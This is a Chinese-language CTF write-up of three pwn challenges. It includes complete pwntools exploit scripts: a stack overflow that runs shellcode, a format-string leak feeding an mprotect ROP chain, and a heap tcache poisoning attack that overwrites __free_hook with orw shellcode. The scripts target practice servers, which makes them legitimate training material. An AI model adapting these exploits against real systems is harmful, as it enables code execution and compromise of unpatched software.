前言
这个比赛其实是没抱着很认真的态度去打的,可能由于一贯的印象,下意识觉得安恒月赛,不是我这种小菜鸡能看的,毕竟从去年年尾学到现在,这种比赛我都是来凑人头的。但是这次,可惜了,后面看了下师傅的wp,发现,竟然不难,所以出篇博客复现一下吧,这是到目前为止,唯一全部pwn题都是我能做的了,也许,这就是进步了吧,岁月漫长,值得期待!
来源:http://rencvn.top/2021/09/26/PWN32/
https://www.cnblogs.com/LynneHuan/p/15335597.html
hehepwn
image-20210928152753508
常规checksec,64位保护全没开,第一想法就是执行shellcode
image-20210928152907622
image-20210928152921816
image-20210928152851336
首先,会有个输入点,并且还会打印我们输入的内容,只要我们输入满0x20个字符,就会连着rbp一起泄露出来,获取到栈上地址,后面还贴心的给了栈溢出。
那就明确了:栈上写入shellcode,借用得到来的栈上地址算出shellcode写入的地址,将这个地址填充到返回地址去,然后执行shellcode
image-20210928153222539
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from pwn import * context(arch = 'amd64', os = 'linux', log_level = 'debug')
p = remote("node4.buuoj.cn",29608) p.recvuntil("well you input:\n") p.send('a'*0x20) p.recvuntil('a'*0x20)
stack_addr = u64(p.recv(6).ljust(8, '\x00')) log.info("stack_addr==>0x%x" %stack_addr) p.recvuntil("EASY PWN PWN PWN~\n") shellcode = asm(shellcraft.sh()) print(hex(len(shellcode))) payload = shellcode.ljust(88, 'a') + p64(stack_addr - 80) p.sendline(payload) p.interactive()
|
hahapwn
image-20210928145300688
常规checksec,64位,没开PIE,RELRO也没开全
image-20210928145345926
image-20210928145402864
程序也十分简单,但是开了沙箱,所以是orw。给了格式化字符串,用来泄露canary的,以及一个明显栈溢出。
所以思路很明确的,也很简单,就是通过格式化字符串泄露出canary,其实由于长度够,还能再多泄露一个寄存器或者栈上存储的函数地址,从而获取libc地址,然后呢,这边泄露的选择寄存器上的没问题,刚开始我是选择栈上的stdin,然后发现远程这个打印出来是空的
image-20210928152412946
image-20210928152432248
换成寄存器上的libc地址就行了。拥有了libc和canary后就可以着手布置rop了,我的做法是使用mprotect修改权限然后跳转到read函数进行写入shellcode,最后跳转shellcode执行读取flag。师傅的做法就是直接用rop进行open,read,write的调用读取flag
image-20210928152051899
这题有点坑,看了师傅的wp也知道了,环境有点问题,官方给的附件里的libc版本是跟远程靶机差了一个小版本的,把libc换成2.23-0ubuntu11.3即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| from pwn import * elf = ELF('./pwn') main = elf.sym['main'] libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so") p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path}) p = remote("node4.buuoj.cn",27901)
context(arch = 'amd64',os = 'linux',log_level = 'debug')
p.recvuntil("Welcome! What is your name?\n") p.sendline("%3p") p.recvuntil('0x') libc_base = int(p.recv(12),16) - 0xf73c0 log.info("libc_base==>0x%x" %libc_base) p.recvuntil("0x") canary = int(p.recv(16),16) log.info("canary==>0x%x" %canary) p.recvuntil("What can we help you?\n") mprotect = libc.sym['mprotect'] + libc_base pop_rdi = libc_base + 0x0000000000021112 pop_rsi = libc_base + 0x00000000000202f8 pop_rdx = libc_base + 0x0000000000001b92 read = libc_base + libc.sym['read'] bss = 0x601000
payload = 'a'*0x68 + p64(canary) + 'a'*0x8 + p64(pop_rdi) + p64(bss) payload += p64(pop_rsi) + p64(0x1000) + p64(pop_rdx) + p64(7) + p64(mprotect) payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss + 0x80) + p64(pop_rdx) + p64(0x100) + p64(read) payload += p64(bss + 0x80) shellcode = asm( ''' mov rsi, 0x67616c662f2e push rsi mov rdi, rsp mov rax, 2 xor rsi, rsi syscall
mov rdi, rax xor rax, rax mov rsi, rsp mov rdx, 0x50 syscall
mov rax, 1 mov rdi, 1 syscall ''') p.sendline(payload) sleep(0.1) p.send(shellcode) p.interactive()
|
datasystem
image-20210928153319183
checksec,64位保护全开
这题是三题里面最复杂的一题,因为在进入真正的程序前,有一个登陆程序,比较复杂,需要花时间进行审计
image-20210928154615068
开了沙箱
image-20210928162959918
image-20210928163032723
一进入,要先输入账号和密码通过验证,验证通过才能进入真正的有漏洞的程序。账号已经给:admin;密码要自己去找
image-20210928165344870
我先断点断在比较函数那,看看最终比较的值,第一个参数是我们输入的(原本输入的是八个a),第二个就是要比较的密码。然后我把下一次输入的值换成这个密码
image-20210928165946197
发现,第二个参数的第一个字符变成了0,那不是截断了吗?但是并没有通过验证,然后我去c代码敲了下,原来是要两个字符串同时都是’\x00’才会通过比较,一个是不行的~
image-20210928170846837
然后又试了一些随便输入的密码,惊讶的发现,得到的验证密码结果都是一样的,只有复制的密码那次会出现0,看了下wp,大佬推测是位数的问题,只有32位的数字才能让密码为0,我试了下确实是这样的,接下来就是寻找一个可以也让我们输入的密码被加密成首位是’\x00’就可以通过验证
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import string from pwn import * context.log_level="error" for c in range(0x100): c = c.to_bytes(1, 'big') p = process('./datasystem') p.sendafter("please input username: ", "admin\x00") p.sendafter("please input password: ", c*32) msg = p.recvline() if b"Fail" not in msg: print('='*60) print("a valid char:", c) print('='*60) p.close()
|
这是大佬的爆破脚本,最终获得两个可以通过的值:’c’和’\xec’。然后大佬是用IDA调试的,我以前有尝试过,但是无奈一直报错,但是gdb调试也是一样的,没差
image-20210928171601841
进入下一个程序了
image-20210928190830374
image-20210928190852013
这边v3返回值因为%s的缘故会把byte_50A0指向的字符全部作为欲写入的字符,而byte_50A0可以查看,全都是a,似乎有0x508个,所以这边在add写入的内容是溢出的。
image-20210928193027743
万事先泄露libc,这边要先申请再释放一个0x410的堆块,防止进入tcache bin中,然后再申请的得是0x8大小的堆块,因为snprinf会打印个数进去,不能超过八个,否则会把上面残留的bk指针破坏,从而可以泄露出libc地址
image-20210928193842290
image-20210928194236357
然后再反序释放三个堆块,申请回来,就会让上面的堆块是最先被申请的,然后通过溢出把堆块分配到0x23330000写入shellcode,之前再来一遍把fd指针为free_hook,申请过去改为shellcode地址,然后释放一个堆块就会跳转执行shellcode了
image-20210928200129108
成功!
image-20210928203049261
不容易,有朝一日我这小菜鸡竟然能赛后“ak”,泪目!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85
|
from pwn import * context(arch = 'amd64',os = 'linux',log_level = 'debug') elf = ELF("./datasystem") libc = elf.libc p = process('./datasystem') p = remote("node4.buuoj.cn",27961) def debug(): gdb.attach(p,"b main")
def add(size,content): p.sendlineafter(">> :\n",'1') p.recvuntil("Size: \n") p.sendline(str(size)) p.recvuntil("what's your Content: \n") p.send(content) def edit(idx,content): p.sendlineafter(">> :\n",'4') p.recvuntil("Index:\n") p.sendline(str(idx)) p.recvuntil("Content:\n") p.send(content)
def show(idx): p.sendlineafter(">> :\n",'3') p.recvuntil("Index:\n") p.sendline(str(idx)) p.recvuntil("Content: ")
def free(idx): p.sendlineafter(">> :\n",'2') p.recvuntil("Index:\n") p.sendline(str(idx))
p.recvuntil("please input username: ") p.send("admin") p.recvuntil("please input password: ") p.send('c'*0x20) add(0x410, 'a') add(0x60, 'b') add(0x60, 'c') add(0x60, 'd') free(0) add(0x8, 'a'*0x8) show(0) p.recvuntil('a'*0x8) libc_base = u64(p.recv(6).ljust(8,'\x00')) - 0x3ec090 log.info("libc_base==>0x%x" %libc_base) free_hook = libc_base + libc.sym['__free_hook'] free(3) free(2) free(1) payload = 'a'*0x68 + p64(0x71) + p64(0x23330000) shellcode = asm( ''' mov rdi, 0x23330000 xor rsi, rsi mov rax, 2 syscall mov rdi, rax mov rsi, rsp mov rdx, 0x50 xor rax, rax syscall
mov rdi, 1 mov rax, 1 syscall ''' ) add(0x60, payload) add(0x60,'b') add(0x60, './flag\x00' + shellcode)
add(0x8,'c') free(4) free(0) add(0x8, 'a'*0x18 + p64(0x21) + p64(free_hook)) add(0x8, 'd') add(0x8, p64(0x23330000 + 0x8)) free(4) p.interactive()
|